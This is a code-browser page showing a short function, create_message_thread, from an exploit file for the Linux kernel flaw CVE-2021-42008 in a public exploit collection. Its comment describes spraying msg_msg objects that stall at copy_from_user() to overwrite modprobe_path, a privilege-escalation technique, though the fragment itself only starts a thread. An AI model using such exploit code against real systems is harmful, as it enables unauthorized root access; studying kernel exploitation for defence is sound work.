MCPcopy Create free account
hub / github.com/bsauce/kernel-exploit-factory / create_message_thread

Function create_message_thread

CVE-2021-42008/exp.c:631–639  ·  view source on GitHub ↗

create_message_thread() —— spray 8 msg_msg and msg_msgseg, which hangs at copy_from_user(), to change modprobe_path

Source from the content-addressed store, hash-verified

629}
630// create_message_thread() —— spray 8 msg_msg and msg_msgseg, which hangs at copy_from_user(), to change modprobe_path
631void create_message_thread(int id, void *page)
632{
633 struct t_args *args = (struct t_args *)malloc(sizeof(struct t_args));
634
635 args->id = id;
636 args->page = page;
637
638 pthread_create(&tid[id + 2], NULL, allocate_msg, (void *)args);
639}
640
641void close_queue(int qid)
642{

Callers 1

mainFunction · 0.85

Calls

no outgoing calls

Tested by

no test coverage detected